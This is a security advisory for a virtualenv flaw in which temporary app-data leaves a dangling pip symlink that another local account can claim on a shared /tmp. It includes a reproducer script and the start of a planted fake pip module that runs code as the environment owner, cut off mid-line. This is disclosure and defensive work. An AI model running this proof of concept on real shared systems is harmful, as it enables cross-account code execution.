GHSA-4f8h-vr72-p32c virtualenv: Temporary app-data can leave dangling seed package links

• PyPI virtualenv: >= 21.14.8, < 21.14.10 → fixed in 21.14.10

Summary The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation finishes. The environment-variable and configuration-file forms of `symlink_app_data` can enable this state even though the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its owner no longer controls. Anthropic's OSS Scanner reported this as `ANT-2026-ZOE2GEPC` in `virtualenv-20261015-005`, received on 15 October 2026. This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim has not been independently reproduced. Affected area Integrity of app-data references after temporary cache cleanup. Attacker-controlled input Symlink seeding must be enabled through `VIRTUALENV_SYMLINK_APP_DATA` or `symlink_app_data` in the configuration file, and app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that fallback. Ordinary copy seeding does not leave these references. The security concern requires a shared temporary-directory parent where another account can acquire the deleted cache pathname, followed by use of the affected environment. That account need not already be able to modify the environment or the private cache while it exists. This differs from the security policy's excluded case of an account that already controls live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that cross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows defaults. Affected code The relevant 21.14.8 source is in symlink seeder, temporary cache cleanup. Mechanism When app-data setup falls back to a temporary directory, the command-line `--symlink-app-data` action is disabled. A value supplied by `VIRTUALENV_SYMLINK_APP_DATA` or `virtualenv.ini` can still become the parser default, and the seeder constructor accepts that value without rechecking the cache lifetime. It links `site-packages/pip` into the temporary cache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another account on a shared temporary filesystem. Reproduction and evidence The scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment owner had an unwritable home, so app-data fell back to `/tmp`. The control used the command-line flag and received a real pip directory. With `VIRTUALENV_SYMLINK_APP_DATA=1`, the new environment instead contained a `pip` link into a deleted `/tmp/tmpXXXXXXXX` directory. A second uid recreated the target path and placed a fake `pip/__init__.py` there. When the owner ran `venv/bin/pip --version`, that module created a marker inside the owner's environment and printed `this is not pip`. The cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later use of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache guard to #1661, first released in 20.0.6. Public fix PR #3437 copies packages whenever app-data is temporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the cross-account reproduction. Attack sequence ```mermaid sequenceDiagram participant U as Environment owner participant V as virtualenv seeder participant T as Temporary app-data in /tmp participant E as site-packages/pip link participant A as Other local account U->>V: VIRTUALENV_SYMLINK_APP_DATA=1 with unwritable home V->>T: create transient cache V->>E: link pip to cache path V->>T: delete cache at session exit A->>T: reclaim old name and plant fake pip U->>E: run bin/pip --version E->>T: import fake pip through stale link T-->>U: attacker's code runs as owner ``` Reproducer files The following files are from the scanner report for `ANT-2026-ZOE2GEPC`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. `repro` ```text !/usr/bin/env python3 import os import pwd import shutil import subprocess from pathlib import Path owner = pwd.getpwnam("nobody") # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one other_user_uid = 4242 project = Path("/srv/project") other_user_files = Path("/var/tmp/other-user") set up: a project folder only the owner can write, and the other user's two files in a folder of their own shutil.rmtree(project, ignore_errors=True) shutil.rmtree(other_user_files, ignore_errors=True) project.mkdir(mode=0o755) os.chown(project, owner.pw_uid, owner.pw_gid) shutil.copytree("/tmp/repro.d", other_user_files) subprocess.run(["chown", "-R", f"{other_user_uid}:{other_user_uid}", other_user_files], check=True) as_owner = {"user": owner.pw_uid, "group": owner.pw_gid, "extra_groups": [], "cwd": project} as_other_user = {"user": other_user_uid, "group": other_user_uid, "extra_groups": [], "cwd": "/"} owner_env = {"HOME": owner.pw_dir, "PATH": os.environ["PATH"]} virtualenv = ["virtualenv", "--quiet", "--no-periodic-update"] control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied subprocess.run([*virtualenv, "--symlink-app-data", "control"], env=owner_env, check=True, **as_owner) control_pip = next(project.glob("control/lib/python*/site-packages/pip")) print(f"CONTROL --symlink-app-data: {control_pip} is a symlink: {control_pip.is_symlink()}") trigger: the same setting through the environment variable symlink_env = {**owner_env, "VIRTUALENV_SYMLINK_APP_DATA": "1"} subprocess.run([*virtualenv, "venv"], env=symlink_env, check=True, **as_owner) venv_pip = next(project.glob("venv/lib/python*/site-packages/pip")) print(f"OBSERVED VIRTUALENV_SYMLINK_APP_DATA=1: {venv_pip} is a symlink: {venv_pip.is_symlink()}") attack: the other user re-creates the deleted folder the link points into if venv_pip.is_symlink(): print(f"OBSERVED it points to {os.readlink(venv_pip)}, which exists: {venv_pip.exists()}") subprocess.run(["python3", other_user_files / "plant_fake_pip.py", venv_pip], check=True, as_other_user) the owner uses their environment pip_version = subprocess.run([project / "venv/bin/pip", "--version"], env=owner_env, capture_output=True, text=True, as_owner) print(f"OBSERVED venv/bin/pip --version, run by uid {owner.pw_uid}, printed: {(pip_version.stdout + pip_version.stderr).strip()}") check: fake_pip.py writes this file into the environment folder, which uid 4242 cannot write venv_stat = os.stat(project / "venv") print(f"OBSERVED {project / 'venv'} has mode {oct(venv_stat.st_mode & 0o777)} and owner uid {venv_stat.st_uid}") proof = project / "venv/attacker-code-ran" print(f"OBSERVED {proof} exists: {proof.exists()}") if proof.exists(): print(f"OBSERVED it is owned by uid {proof.stat().st_uid} and says: {proof.read_text()}") print("BUG" if proof.exists() and proof.stat().st_uid == owner.pw_uid else "OK") ``` `repro.d/fake_pip.py` ```text planted as pip/__init__.py: runs in whichever process imports pip import os import sys with open(os.path.join(sys.prefix, "attacker-code-ran"), "w") as proof: proof.write(f"{os.path.realpath(__file__)}, owne…